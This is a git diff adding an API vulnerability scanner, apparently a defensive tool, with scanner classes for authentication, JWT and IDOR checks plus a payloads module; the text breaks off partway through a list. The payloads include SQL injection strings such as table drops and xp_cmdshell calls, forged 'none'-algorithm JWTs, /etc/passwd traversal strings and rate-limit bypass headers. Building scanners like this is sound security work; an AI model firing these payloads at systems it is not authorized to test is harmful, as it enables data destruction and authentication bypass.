protected](settings.API_RATE_LIMIT_SCAN)+async def create_scan(+ request: Request,+ scan_request: ScanRequest,+ db: Session = Depends(get_db),+ current_user: UserResponse = Depends(get_current_user),+) -> ScanResponse:+ """+ Create and execute a new security scan+ """+ return ScanService.run_scan(db, current_user.id, scan_request)+++ "/",+ response_model=list[ScanResponse],+ status_code=status.HTTP_200_OK,+)[email protected](settings.API_RATE_LIMIT_DEFAULT)+async def get_user_scans(+ request: Request,+ skip: int = 0,+ limit: int | None = None,+ db: Session = Depends(get_db),+ current_user: UserResponse = Depends(get_current_user),+) -> list[ScanResponse]:+ """+ Get all scans for the authenticated user+ """+ return ScanService.get_user_scans(db, current_user.id, skip, limit)+++ "/{scan_id}",+ response_model=ScanResponse,+ status_code=status.HTTP_200_OK,+)[email protected](settings.API_RATE_LIMIT_DEFAULT)+async def get_scan(+ request: Request,+ scan_id: int,+ db: Session = Depends(get_db),+ current_user: UserResponse = Depends(get_current_user),+) -> ScanResponse:+ """+ Get a specific scan by ID+ """+ return ScanService.get_scan_by_id(db, scan_id, current_user.id)+++ "/{scan_id}",+ status_code=status.HTTP_204_NO_CONTENT,+)[email protected](settings.API_RATE_LIMIT_DEFAULT)+async def delete_scan(+ request: Request,+ scan_id: int,+ db: Session = Depends(get_db),+ current_user: UserResponse = Depends(get_current_user),+) -> None:+ """+ Delete a scan by ID+ """+ ScanService.delete_scan(db, scan_id, current_user.id)diff --git a/api-security-scanner/backend/scanners/__init__.py b/api-security-scanner/backend/scanners/__init__.pynew file mode 100644index 00000000..af144299--- /dev/null+++ b/api-security-scanner/backend/scanners/__init__.py@@ -0,0 +1,16 @@+"""Security scanner modules for API vulnerability testing"""++from .base_scanner import BaseScanner+from .rate_limit_scanner import RateLimitScanner+from .auth_scanner import AuthScanner+from .sqli_scanner import SQLiScanner+from .idor_scanner import IDORScanner+++__all__ = [+ "BaseScanner",+ "RateLimitScanner",+ "AuthScanner",+ "SQLiScanner",+ "IDORScanner",+]diff --git a/api-security-scanner/backend/scanners/auth_scanner.py b/api-security-scanner/backend/scanners/auth_scanner.pynew file mode 100644index 00000000..575705ca--- /dev/null+++ b/api-security-scanner/backend/scanners/auth_scanner.py@@ -0,0 +1,381 @@+"""+©AngelaMos | 2025+Authentication and authorization vulnerability scanner++OWASP API2:2023+"""++from __future__ import annotations++import base64+import json+from typing import Any++from ..config import settings+from ..core.enums import (+ ScanStatus,+ Severity,+ TestType,+)+from ..schemas.test_result_schemas import TestResultCreate++from .payloads import AuthPayloads+from .base_scanner import BaseScanner+++class AuthScanner(BaseScanner):+ """+ Tests for broken authentication vulnerabilities++ Detects:+ - Missing authentication on endpoints+ - Weak/invalid token acceptance+ - JWT vulnerabilities (none algorithm, weak secrets)+ - Missing rate limiting on auth endpoints++ Maps to OWASP API Security Top 10 2023: API2:2023+ """++ def scan(self) -> TestResultCreate:+ """+ Execute authentication tests++ Returns:+ TestResultCreate: Scan result with findings+ """+ missing_auth_test = self._test_missing_authentication()+ if missing_auth_test["vulnerable"]:+ return self._create_vulnerable_result(+ details="Endpoint accessible without authentication",+ evidence=missing_auth_test,+ severity=Severity.HIGH,+ recommendations=[+ "Require authentication for all sensitive endpoints",+ "Implement proper authentication middleware",+ "Return 401 Unauthorized for missing/invalid credentials",+ ],+ )++ if self.auth_token:+ jwt_test = self._test_jwt_vulnerabilities()+ if jwt_test["vulnerable"]:+ return self._create_vulnerable_result(+ details=f"JWT vulnerability: {jwt_test['vulnerability_type']}",+ evidence=jwt_test,+ severity=Severity.CRITICAL,+ recommendations=jwt_test.get(+ "recommendations",+ [+ "Properly validate JWT signatures",+ "Reject 'none' algorithm tokens",+ "Use strong secrets (256+ bits)",+ "Implement token expiration checks",+ ],+ ),+ )++ invalid_token_test = self._test_invalid_token_handling()+ if invalid_token_test["vulnerable"]:+ return self._create_vulnerable_result(+ details="Invalid tokens accepted by endpoint",+ evidence=invalid_token_test,+ severity=Severity.HIGH,+ recommendations=[+ "Reject invalid/malformed tokens with 401 status",+ "Validate token format, signature, and expiration",+ "Log authentication failures for monitoring",+ ],+ )++ return TestResultCreate(+ test_name=TestType.AUTH,+ status=ScanStatus.SAFE,+ severity=Severity.INFO,+ details="Authentication properly implemented",+ evidence_json={+ "missing_auth_test": missing_auth_test,+ "invalid_token_test": invalid_token_test,+ },+ recommendations_json=[+ "Authentication is properly configured",+ "Consider implementing additional security measures (2FA, refresh tokens)",+ ],+ )++ def _test_missing_authentication(self) -> dict[str, Any]:+ """+ Test if endpoint requires authentication++ Attempts to access endpoint without credentials.++ Returns:+ dict[str, Any]: Test results+ """+ session_without_auth = self.session.__class__()+ session_without_auth.headers.update(+ {+ "User-Agent": f"{settings.APP_NAME}/{settings.VERSION}",+ "Accept": "application/json",+ }+ )++ try:+ response = session_without_auth.get(+ self.target_url,+ timeout=settings.SCANNER_CONNECTION_TIMEOUT,+ )++ if response.status_code == 200:+ return {+ "vulnerable": True,+ "status_code": response.status_code,+ "response_length": len(response.text),+ "description": "Endpoint accessible without authentication",+ }++ if response.status_code in (401, 403):+ return {+ "vulnerable": False,+ "status_code": response.status_code,+ "description": "Endpoint properly requires authentication",+ }++ return {+ "vulnerable": False,+ "status_code": response.status_code,+ "description": "Endpoint returned unexpected status",+ }++ except Exception as e:+ return {+ "vulnerable": False,+ "error": str(e),+ "description": "Error testing authentication requirement",+ }++ def _test_jwt_vulnerabilities(self) -> dict[str, Any]:+ """+ Test for common JWT vulnerabilities++ Tests:+ - None algorithm acceptance+ - Signature removal+ - Weak secret detection (common patterns)++ Returns:+ dict[str, Any]: JWT vulnerability test results+ """+ if not self.auth_token or self.auth_token.count(".") != 2:+ return {+ "vulnerable": False,+ "description": "No valid JWT token provided",+ }++ none_alg_test = self._test_none_algorithm()+ if none_alg_test["vulnerable"]:+ return none_alg_test++ signature_removal_test = self._test_signature_removal()+ if signature_removal_test["vulnerable"]:+ return signature_removal_test++ return {+ "vulnerable": False,+ "tests_performed": ["none_algorithm", "signature_removal"],+ "description": "No JWT vulnerabilities detected",+ }++ def _test_none_algorithm(self) -> dict[str, Any]:+ """+ Test if server accepts JWT with 'none' algorithm++ Critical vulnerability: allows unsigned tokens to be accepted.++ Returns:+ dict[str, Any]: None algorithm test results+ """+ try:+ header, payload, signature = self.auth_token.split(".")++ none_variants = AuthPayloads.get_jwt_none_variants()++ for variant in none_variants:+ malicious_header = self._base64url_encode(+ json.dumps({"alg": variant, "typ": "JWT"})+ )++ malicious_token = f"{malicious_header}.{payload}."++ response = self.make_request(+ "GET",+ "/",+ headers={"Authorization": f"Bearer {malicious_token}"},+ )++ if response.status_code == 200:+ return {+ "vulnerable": True,+ "vulnerability_type": "JWT None Algorithm",+ "algorithm_variant": variant,+ "status_code": response.status_code,+ "recommendations": [+ "Reject tokens with 'none' algorithm (all case variations)",+ "Explicitly verify signature before accepting tokens",+ "Use allowlist of accepted algorithms",+ ],+ }++ return {+ "vulnerable": False,+ "description": "None algorithm properly rejected",+ }++ except Exception as e:+ return {+ "vulnerable": False,+ "error": str(e),+ "description": "Error testing none algorithm",+ }++ def _test_signature_removal(self) -> dict[str, Any]:+ """+ Test if server accepts JWT with signature removed++ Returns:+ dict[str, Any]: Signature removal test results+ """+ try:+ header, payload, signature = self.auth_token.split(".")++ malicious_token = f"{header}.{payload}."++ response = self.make_request(+ "GET",+ "/",+ headers={"Authorization": f"Bearer {malicious_token}"},+ )++ if response.status_code == 200:+ return {+ "vulnerable": True,+ "vulnerability_type": "JWT Signature Not Verified",+ "status_code": response.status_code,+ "recommendations": [+ "Require valid signature on all JWT tokens",+ "Reject tokens with missing or invalid signatures",+ "Implement proper JWT validation library",+ ],+ }++ return {+ "vulnerable": False,+ "description": "Signature removal properly rejected",+ }++ except Exception as e:+ return {+ "vulnerable": False,+ "error": str(e),+ "description": "Error testing signature removal",+ }++ def _test_invalid_token_handling(self) -> dict[str, Any]:+ """+ Test how server handles invalid/malformed tokens++ Returns:+ dict[str, Any]: Invalid token handling test results+ """+ invalid_tokens = AuthPayloads.INVALID_TOKEN_FORMATS++ accepted_invalid = []++ for invalid_token in invalid_tokens:+ try:+ response = self.make_request(+ "GET",+ "/",+ headers={"Authorization": f"Bearer {invalid_token}"},+ )++ if response.status_code == 200:+ accepted_invalid.append(+ {+ "token": invalid_token[:50],+ "status_code": response.status_code,+ }+ )++ except Exception:+ continue++ if accepted_invalid:+ return {+ "vulnerable": True,+ "accepted_invalid_tokens": accepted_invalid,+ "count": len(accepted_invalid),+ }++ return {+ "vulnerable": False,+ "description": "Invalid tokens properly rejected",+ "tokens_tested": len(invalid_tokens),+ }++ def _base64url_decode(self, data: str) -> dict[str, Any]:+ """+ Decode base64url-encoded JWT data++ Args:+ data: Base64url-encoded string++ Returns:+ dict[str, Any]: Decoded JSON data+ """+ padding = 4 - (len(data) % 4)+ if padding != 4:+ data += "=" * padding++ decoded = base64.urlsafe_b64decode(data)+ return json.loads(decoded)++ def _base64url_encode(self, data: str) -> str:+ """+ Encode data to base64url format++ Args:+ data: String data to encode++ Returns:+ str: Base64url-encoded string+ """+ encoded = base64.urlsafe_b64encode(data.encode()).decode()+ return encoded.rstrip("=")++ def _create_vulnerable_result(+ self,+ details: str,+ evidence: dict[str, Any],+ severity: Severity = Severity.HIGH,+ recommendations: list[str] | None = None,+ ) -> TestResultCreate:+ """+ Create a vulnerable scan result++ Args:+ details: Vulnerability description+ evidence: Evidence dictionary+ severity: Vulnerability severity+ recommendations: List of remediation recommendations++ Returns:+ TestResultCreate: Vulnerable result+ """+ return TestResultCreate(+ test_name=TestType.AUTH,+ status=ScanStatus.VULNERABLE,+ severity=severity,+ details=details,+ evidence_json=evidence,+ recommendations_json=recommendations or [],+ )diff --git a/api-security-scanner/backend/scanners/base_scanner.py b/api-security-scanner/backend/scanners/base_scanner.pynew file mode 100644index 00000000..9279b7bc--- /dev/null+++ b/api-security-scanner/backend/scanners/base_scanner.py@@ -0,0 +1,284 @@+"""+©AngelaMos | 2025+Base scanner class with common HTTP logic and evidence collection+"""++from __future__ import annotations++import time+import random+import statistics+from typing import Any+from urllib.parse import urljoin+from abc import ABC, abstractmethod++import requests++from ..config import settings+from ..schemas.test_result_schemas import TestResultCreate+++class BaseScanner(ABC):+ """+ Abstract base class for all security scanners++ Provides common HTTP functionality, request spacing, retry logic,+ and evidence collection. Specific scanners inherit and implement scan().+ """+ def __init__(+ self,+ target_url: str,+ auth_token: str | None = None,+ max_requests: int | None = None,+ ):+ """+ Initialize scanner with target and configuration++ Args:+ target_url: Base URL of API to scan+ auth_token: Optional authentication token+ max_requests: Optional limit on requests (from settings if None)+ """+ self.target_url = target_url.rstrip("/")+ self.auth_token = auth_token+ self.max_requests = max_requests or settings.DEFAULT_MAX_REQUESTS+ self.session = self._create_session()+ self.last_request_time = 0.0+ self.request_count = 0++ def _create_session(self) -> requests.Session:+ """+ Create persistent HTTP session with proper headers++ Returns:+ requests.Session: Configured session object+ """+ session = requests.Session()++ session.headers.update(+ {+ "User-Agent":+ f"{settings.APP_NAME}/{settings.VERSION}",+ "Accept": "application/json",+ }+ )++ if self.auth_token:+ session.headers.update(+ {"Authorization": f"Bearer {self.auth_token}"}+ )++ return session++ def _wait_before_request(+ self,+ jitter_ms: int | None = None+ ) -> None:+ """+ Implement request spacing to avoid overwhelming target++ Based on research: production-safe scanning requires spacing+ requests to avoid triggering rate limits or affecting service.++ Args:+ jitter_ms: Random jitter in milliseconds to add (DEFAULT_JITTER_MS)+ """+ if jitter_ms is None:+ jitter_ms = settings.DEFAULT_JITTER_MS++ required_delay = 1.0 / (+ self.max_requests / settings.SCANNER_RATE_LIMIT_WINDOW_SECONDS+ )+ jitter = random.uniform(0, jitter_ms / 1000.0)++ elapsed = time.time() - self.last_request_time++ if elapsed < required_delay:+ time.sleep(required_delay - elapsed + jitter)+ else:+ time.sleep(jitter)++ self.last_request_time = time.time()++ def make_request(+ self,+ method: str,+ endpoint: str,+ **kwargs: Any,+ ) -> requests.Response:+ """+ Make HTTP request with retry logic and rate limit handling++ Implements exponential backoff for server errors and respects+ Retry-After headers for 429 responses.++ Args:+ method: HTTP method (GET, POST, etc.)+ endpoint: Endpoint path (will be joined with target_url)+ **kwargs: Additional arguments passed to requests++ Returns:+ requests.Response: Response object++ Raises:+ requests.RequestException: If request fails after retries+ """+ self._wait_before_request()++ url = urljoin(self.target_url, endpoint)+ retry_count = 0+ backoff_factor = 2.0++ kwargs.setdefault(+ "timeout",+ settings.SCANNER_CONNECTION_TIMEOUT+ )++ while retry_count <= settings.DEFAULT_RETRY_COUNT:+ try:+ start_time = time.time()+ response = self.session.request(method, url, **kwargs)+ setattr(response, "request_time", time.time() - start_time)++ self.request_count += 1++ if response.status_code == 429:+ retry_after = response.headers.get(+ "Retry-After",+ str(settings.DEFAULT_RETRY_WAIT_SECONDS)+ )+ wait_time = (+ int(retry_after) if retry_after.isdigit() else+ settings.DEFAULT_RETRY_WAIT_SECONDS+ )+ time.sleep(wait_time)+ retry_count += 1+ continue++ if response.status_code >= 500 and retry_count < settings.DEFAULT_RETRY_COUNT:+ wait_time = backoff_factor**retry_count+ time.sleep(wait_time)+ retry_count += 1+ continue++ return response++ except (requests.Timeout, requests.ConnectionError):+ if retry_count < settings.DEFAULT_RETRY_COUNT:+ wait_time = backoff_factor**retry_count+ time.sleep(wait_time)+ retry_count += 1+ else:+ raise++ return response++ def get_baseline_timing(+ self,+ endpoint: str,+ samples: int | None = None+ ) -> tuple[float,+ float]:+ """+ Establish baseline response time for an endpoint++ Critical for time-based detection (e.g., blind SQLi). Takes multiple+ samples and calculates mean and standard deviation.++ Args:+ endpoint: Endpoint to test+ samples: Number of samples to take (DEFAULT_BASELINE_SAMPLES)++ Returns:+ tuple[float, float]: (mean_time, stdev_time) in seconds+ """+ if samples is None:+ samples = settings.DEFAULT_BASELINE_SAMPLES++ times = []++ for _ in range(samples):+ response = self.make_request("GET", endpoint)+ times.append(getattr(response, "request_time", 0.0))+ time.sleep(0.5)++ return statistics.mean(times), statistics.stdev(times)++ def collect_evidence(+ self,+ response: requests.Response,+ payload: Any | None = None,+ **additional_data: Any,+ ) -> dict[str,+ Any]:+ """+ Collect evidence from test execution with sensitive data redaction++ Args:+ response: HTTP response object+ payload: Payload used in test+ **additional_data: Additional evidence data++ Returns:+ dict[str, Any]: Evidence dictionary+ """+ evidence = {+ "status_code":+ response.status_code,+ "response_time_ms":+ round(getattr(response,+ "request_time",+ 0.0) * 1000,+ 2),+ "response_length":+ len(response.text),+ "headers":+ self._redact_sensitive_headers(dict(response.headers)),+ }++ if payload is not None:+ evidence["payload"] = str(payload)++ evidence.update(additional_data)++ return evidence++ def _redact_sensitive_headers(self,+ headers: dict[str,+ str]) -> dict[str,+ str]:+ """+ Redact sensitive header values for evidence collection++ Args:+ headers: Original headers dictionary++ Returns:+ dict[str, str]: Headers with sensitive values redacted+ """+ sensitive_headers = [+ "authorization",+ "cookie",+ "x-api-key",+ "x-auth-token",+ ]++ redacted = {}+ for key, value in headers.items():+ if key.lower() in sensitive_headers:+ redacted[key] = "[REDACTED]"+ else:+ redacted[key] = value++ return redacted++ @abstractmethod+ def scan(self) -> TestResultCreate:+ """+ Execute the security scan++ Must be implemented by specific scanner classes.++ Returns:+ TestResultCreate: Result of the scan+ """diff --git a/api-security-scanner/backend/scanners/idor_scanner.py b/api-security-scanner/backend/scanners/idor_scanner.pynew file mode 100644index 00000000..2592db69--- /dev/null+++ b/api-security-scanner/backend/scanners/idor_scanner.py@@ -0,0 +1,335 @@+"""+©AngelaMos | 2025+IDOR/BOLA vulnerability scanner++Based on OWASP API1:2023 - Broken Object Level Authorization+"""++from __future__ import annotations++import re+from typing import Any++from ..core.enums import ScanStatus, Severity, TestType+from ..schemas.test_result_schemas import TestResultCreate+from .base_scanner import BaseScanner+from .payloads import IDORPayloads+++class IDORScanner(BaseScanner):+ """+ Tests for Insecure Direct Object Reference (IDOR) vulnerabilities++ Also known as Broken Object Level Authorization (BOLA).+ Ranked #1 in OWASP API Security Top 10 2023.++ Detects:+ - Sequential ID enumeration+ - UUID exposure and access+ - Missing authorization checks on object access++ Maps to OWASP API Security Top 10 2023: API1:2023+ """++ def scan(self) -> TestResultCreate:+ """+ Execute IDOR/BOLA tests++ Returns:+ TestResultCreate: Scan result with findings+ """+ id_enumeration_test = self._test_id_enumeration()++ if id_enumeration_test["vulnerable"]:+ return self._create_vulnerable_result(+ details=f"IDOR vulnerability detected: {id_enumeration_test['vulnerability_type']}",+ evidence=id_enumeration_test,+ severity=Severity.HIGH,+ recommendations=[+ "Implement proper authorization checks for all object access",+ "Verify user owns/has permission to access requested resource",+ "Use UUIDs instead of sequential IDs (but still check authorization)",+ "Implement access control lists (ACLs) or role-based access control (RBAC)",+ "Log and monitor unauthorized access attempts",+ ],+ )++ predictable_id_test = self._test_predictable_id_patterns()++ if predictable_id_test["vulnerable"]:+ return self._create_vulnerable_result(+ details="Predictable ID patterns detected enabling enumeration",+ evidence=predictable_id_test,+ severity=Severity.MEDIUM,+ recommendations=[+ "Use non-sequential, non-predictable identifiers (UUIDs)",+ "Implement rate limiting on ID-based endpoints",+ "Add authorization checks regardless of ID format",+ ],+ )++ return TestResultCreate(+ test_name=TestType.IDOR,+ status=ScanStatus.SAFE,+ severity=Severity.INFO,+ details="No IDOR/BOLA vulnerabilities detected",+ evidence_json={+ "id_enumeration_test": id_enumeration_test,+ "predictable_id_test": predictable_id_test,+ },+ recommendations_json=[+ "Authorization checks appear to be in place",+ "Continue monitoring for authorization bypasses",+ ],+ )++ def _test_id_enumeration(self) -> dict[str, Any]:+ """+ Test for ID enumeration vulnerabilities++ Attempts to access resources with modified IDs to detect+ missing authorization checks.++ Returns:+ dict[str, Any]: ID enumeration test results+ """+ extracted_ids = self._extract_ids_from_response()++ if not extracted_ids:+ return {+ "vulnerable": False,+ "description": "No IDs found in endpoint responses",+ }++ numeric_test = self._test_numeric_id_manipulation(extracted_ids)+ if numeric_test["vulnerable"]:+ return numeric_test++ string_test = self._test_string_id_manipulation(extracted_ids)+ if string_test["vulnerable"]:+ return string_test++ return {+ "vulnerable": False,+ "ids_tested": len(extracted_ids),+ "description": "ID enumeration not possible or blocked",+ }++ def _extract_ids_from_response(self) -> list[Any]:+ """+ Extract potential IDs from API response++ Looks for numeric IDs, UUIDs, and other identifier patterns.++ Returns:+ list[Any]: List of extracted IDs+ """+ try:+ response = self.make_request("GET", "/")++ if response.status_code != 200:+ return []++ response_text = response.text++ uuid_pattern = r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'+ uuids = re.findall(uuid_pattern, response_text, re.IGNORECASE)++ numeric_id_pattern = r'"id"\s*:\s*(\d+)'+ numeric_ids = re.findall(numeric_id_pattern, response_text)++ ids = []+ ids.extend(uuids[:3])+ ids.extend([int(nid) for nid in numeric_ids[:3]])++ return ids++ except Exception:+ return []++ def _test_numeric_id_manipulation(+ self, extracted_ids: list[Any]+ ) -> dict[str, Any]:+ """+ Test numeric ID manipulation for IDOR++ Args:+ extracted_ids: List of IDs extracted from responses++ Returns:+ dict[str, Any]: Numeric ID manipulation test results+ """+ numeric_ids = [+ id_val for id_val in extracted_ids if isinstance(id_val, int)+ ]++ if not numeric_ids:+ return {+ "vulnerable": False,+ "description": "No numeric IDs to test",+ }++ base_id = numeric_ids[0]++ test_ids = IDORPayloads.NUMERIC_ID_MANIPULATIONS++ accessible_unauthorized = []++ for test_id in test_ids:+ if test_id == base_id:+ continue++ try:+ response = self.make_request("GET", f"/{test_id}")++ if response.status_code == 200:+ accessible_unauthorized.append(+ {+ "id": test_id,+ "status_code": response.status_code,+ "response_length": len(response.text),+ }+ )++ except Exception:+ continue++ if accessible_unauthorized:+ return {+ "vulnerable": True,+ "vulnerability_type": "Numeric ID Enumeration",+ "base_id": base_id,+ "unauthorized_access": accessible_unauthorized,+ "count": len(accessible_unauthorized),+ }++ return {+ "vulnerable": False,+ "numeric_ids_tested": len(test_ids),+ }++ def _test_string_id_manipulation(+ self, extracted_ids: list[Any]+ ) -> dict[str, Any]:+ """+ Test string/UUID ID manipulation for IDOR++ Args:+ extracted_ids: List of IDs extracted from responses++ Returns:+ dict[str, Any]: String ID manipulation test results+ """+ string_ids = [+ id_val for id_val in extracted_ids if isinstance(id_val, str)+ ]++ if not string_ids:+ return {+ "vulnerable": False,+ "description": "No string IDs to test",+ }++ test_ids = IDORPayloads.STRING_ID_MANIPULATIONS++ accessible_unauthorized = []++ for test_id in test_ids:+ try:+ response = self.make_request("GET", f"/{test_id}")++ if response.status_code == 200:+ accessible_unauthorized.append(+ {+ "id": test_id,+ "status_code": response.status_code,+ "response_length": len(response.text),+ }+ )++ except Exception:+ continue++ if accessible_unauthorized:+ return {+ "vulnerable": True,+ "vulnerability_type": "String ID Manipulation",+ "unauthorized_access": accessible_unauthorized,+ "count": len(accessible_unauthorized),+ }++ return {+ "vulnerable": False,+ "string_ids_tested": len(test_ids),+ }++ def _test_predictable_id_patterns(self) -> dict[str, Any]:+ """+ Test if IDs follow predictable patterns++ Predictable IDs (sequential, timestamps) enable enumeration attacks.++ Returns:+ dict[str, Any]: Predictable ID pattern test results+ """+ try:+ ids1 = self._extract_ids_from_response()++ ids2 = self._extract_ids_from_response()++ numeric_ids1 = [id for id in ids1 if isinstance(id, int)]+ numeric_ids2 = [id for id in ids2 if isinstance(id, int)]++ if len(numeric_ids1) >= 2:+ diff1 = abs(numeric_ids1[1] - numeric_ids1[0])++ if len(numeric_ids2) >= 2:+ diff2 = abs(numeric_ids2[1] - numeric_ids2[0])++ if diff1 == diff2 and diff1 == 1:+ return {+ "vulnerable": True,+ "pattern_type": "Sequential IDs",+ "id_difference": diff1,+ "example_ids": numeric_ids1[:3],+ }++ return {+ "vulnerable": False,+ "description": "No predictable ID patterns detected",+ }++ except Exception as e:+ return {+ "vulnerable": False,+ "error": str(e),+ "description": "Error testing ID patterns",+ }++ def _create_vulnerable_result(+ self,+ details: str,+ evidence: dict[str, Any],+ severity: Severity = Severity.HIGH,+ recommendations: list[str] | None = None,+ ) -> TestResultCreate:+ """+ Create a vulnerable scan result++ Args:+ details: Vulnerability description+ evidence: Evidence dictionary+ severity: Vulnerability severity+ recommendations: List of remediation recommendations++ Returns:+ TestResultCreate: Vulnerable result+ """+ return TestResultCreate(+ test_name=TestType.IDOR,+ status=ScanStatus.VULNERABLE,+ severity=severity,+ details=details,+ evidence_json=evidence,+ recommendations_json=recommendations or [],+ )diff --git a/api-security-scanner/backend/scanners/payloads.py b/api-security-scanner/backend/scanners/payloads.pynew file mode 100644index 00000000..d275505d--- /dev/null+++ b/api-security-scanner/backend/scanners/payloads.py@@ -0,0 +1,463 @@+"""+©AngelaMos | 2025+Security testing payloads for various attack vectors+"""+++class SQLiPayloads:+ """+ SQL Injection test payloads covering various database types and techniques+ """++ ERROR_SIGNATURES = {+ "mysql": [+ "sql syntax",+ "mysql_fetch",+ "mysql_num_rows",+ "warning: mysql",+ "mysqli",+ "mysql error",+ "mysql_",+ ],+ "postgres": [+ "postgresql",+ "pg_query",+ "pg_exec",+ "error: syntax error",+ "pg_",+ "pgsql",+ "postgres error",+ ],+ "mssql": [+ "odbc sql server",+ "sqlserver jdbc driver",+ "msg ",+ "sqlexception",+ "microsoft sql",+ "sql server",+ ],+ "oracle": [+ "ora-",+ "oracle.jdbc",+ "oracle error",+ "oracle database",+ "pl/sql",+ ],+ }++ BASIC_AUTHENTICATION_BYPASS = [+ "' OR '1'='1",+ "' OR 1=1--",+ "' OR 1=1#",+ "' OR 1=1/*",+ "admin'--",+ "admin'#",+ "admin'/*",+ "' or 1=1--",+ "' or 1=1#",+ "' or 1=1/*",+ ") or '1'='1--",+ ") or ('1'='1--",+ ]++ UNION_BASED = [+ "' UNION SELECT NULL--",+ "' UNION SELECT NULL,NULL--",+ "' UNION SELECT NULL,NULL,NULL--",+ "' UNION ALL SELECT NULL--",+ "' UNION ALL SELECT NULL,NULL--",+ "1' UNION SELECT NULL,NULL,NULL--",+ "1' UNION ALL SELECT table_name,NULL FROM information_schema.tables--",+ "' UNION SELECT username,password FROM users--",+ "' UNION SELECT NULL,version()--",+ "' UNION SELECT NULL,database()--",+ ]++ TIME_BASED_BLIND = [+ "'; WAITFOR DELAY '0:0:5'--",+ "1'; WAITFOR DELAY '0:0:5'--",+ "'; SELECT SLEEP(5)--",+ "1'; SELECT SLEEP(5)--",+ "'; BENCHMARK(5000000,MD5('test'))--",+ "1' AND SLEEP(5)--",+ "1' OR SLEEP(5)--",+ "'; pg_sleep(5)--",+ "1'; pg_sleep(5)--",+ ]++ BOOLEAN_BASED_BLIND = [+ "1' AND '1'='1",+ "1' AND '1'='2",+ "1' AND 1=1--",+ "1' AND 1=2--",+ "1' AND SUBSTRING(version(),1,1)='5'--",+ "1' AND ASCII(SUBSTRING(database(),1,1))>97--",+ "' AND (SELECT COUNT(*) FROM users)>0--",+ "' AND (SELECT LENGTH(database()))>0--",+ ]++ ERROR_BASED = [+ "' AND 1=CONVERT(int,(SELECT @@version))--",+ "' AND 1=CAST((SELECT @@version) AS int)--",+ "' AND extractvalue(1,concat(0x7e,version()))--",+ "' AND updatexml(1,concat(0x7e,version()),1)--",+ "' AND exp(~(SELECT * FROM (SELECT 1)x))--",+ "' OR 1 GROUP BY CONCAT_WS(0x3a,version(),floor(rand()*2)) HAVING MIN(0)--",+ ]++ STACKED_QUERIES = [+ "'; DROP TABLE users--",+ "'; INSERT INTO users VALUES('hacker','password')--",+ "'; UPDATE users SET password='hacked'--",+ "'; EXEC xp_cmdshell('whoami')--",+ "'; CREATE TABLE test(id INT)--",+ ]++ COMMENT_VARIATIONS = [+ "admin'--",+ "admin'#",+ "admin'/*",+ "admin'-- -",+ "admin';--",+ "admin';#",+ ]++ @classmethod+ def get_all_payloads(cls) -> list[str]:+ """+ Get all SQLi payloads combined++ Returns:+ list[str]: All SQLi test payloads+ """+ return (+ cls.BASIC_AUTHENTICATION_BYPASS + cls.UNION_BASED ++ cls.TIME_BASED_BLIND + cls.BOOLEAN_BASED_BLIND ++ cls.ERROR_BASED + cls.STACKED_QUERIES ++ cls.COMMENT_VARIATIONS+ )++ @classmethod+ def get_error_signatures(cls) -> dict[str, list[str]]:+ """+ Get error signatures for detecting database types++ Returns:+ dict[str, list[str]]: Database error signature mappings+ """+ return cls.ERROR_SIGNATURES+++class AuthPayloads:+ """+ Authentication and authorization test payloads+ """++ JWT_NONE_ALGORITHM_VARIANTS = [+ "none",+ "None",+ "NONE",+ "nOnE",+ "NoNe",+ "NOne",+ ]++ COMMON_AUTH_HEADERS = [+ "Authorization",+ "X-API-Key",+ "X-Auth-Token",+ "X-Access-Token",+ "Bearer",+ "Token",+ "API-Key",+ "ApiKey",+ "Access-Token",+ "Session",+ "X-Session-Token",+ "X-CSRF-Token",+ "Authentication",+ ]++ INVALID_TOKEN_FORMATS = [+ "", # Empty token+ "invalid",+ "null",+ "undefined",+ "Bearer", # Just the prefix+ "Bearer ", # Prefix with space+ "1234567890",+ "admin",+ "../../../etc/passwd",+ "' OR '1'='1",+ ]++ JWT_ATTACKS = [+ "eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.", # None algorithm+ "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ", # No signature+ "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30", # Empty payload+ ]++ @classmethod+ def get_all_headers(cls) -> list[str]:+ """+ Get all auth header names++ Returns:+ list[str]: All authentication header variations+ """+ return cls.COMMON_AUTH_HEADERS++ @classmethod+ def get_jwt_none_variants(cls) -> list[str]:+ """+ Get JWT none algorithm case variations++ Returns:+ list[str]: None algorithm variations for testing+ """+ return cls.JWT_NONE_ALGORITHM_VARIANTS+++class IDORPayloads:+ """+ Insecure Direct Object Reference (IDOR) test patterns+ """++ NUMERIC_ID_MANIPULATIONS = [+ 0,+ -1,+ 1,+ 2,+ 9999,+ 99999,+ 999999,+ ]++ STRING_ID_MANIPULATIONS = [+ "admin",+ "root",+ "test",+ "user",+ "1",+ "0",+ "../../../etc/passwd",+ "..%2F..%2F..%2Fetc%2Fpasswd",+ ]++ UUID_MANIPULATIONS = [+ "00000000-0000-0000-0000-000000000000",+ "11111111-1111-1111-1111-111111111111",+ "ffffffff-ffff-ffff-ffff-ffffffffffff",+ ]++ @classmethod+ def get_numeric_tests(cls) -> list[int]:+ """+ Get numeric ID test values++ Returns:+ list[int]: Numeric ID manipulation values+ """+ return cls.NUMERIC_ID_MANIPULATIONS++ @classmethod+ def get_string_tests(cls) -> list[str]:+ """+ Get string ID test values++ Returns:+ list[str]: String ID manipulation values+ """+ return cls.STRING_ID_MANIPULATIONS+++class RateLimitBypassPayloads:+ """+ Rate limiting bypass techniques and patterns+ """++ HEADER_PATTERNS = {+ "limit": r"x-ratelimit-limit|x-rate-limit-limit|ratelimit-limit",+ "remaining": r"x-ratelimit-remaining|x-rate-limit-remaining|ratelimit-remaining",+ "reset": r"x-ratelimit-reset|x-rate-limit-reset|ratelimit-reset",+ "retry_after": r"retry-after",+ }++ ENDPOINT_VARIATIONS = [+ "/",+ "//",+ "/./",+ "/.",+ "/?",+ "/?dummy=1",+ "/?test=1",+ "/;",+ "/%2e",+ "/%00",+ ]++ HEADER_SPOOFING = [+ {+ "X-Forwarded-For": "127.0.0.1"+ },+ {+ "X-Forwarded-For": "8.8.8.8"+ },+ {+ "X-Real-IP": "127.0.0.1"+ },+ {+ "X-Originating-IP": "127.0.0.1"+ },+ 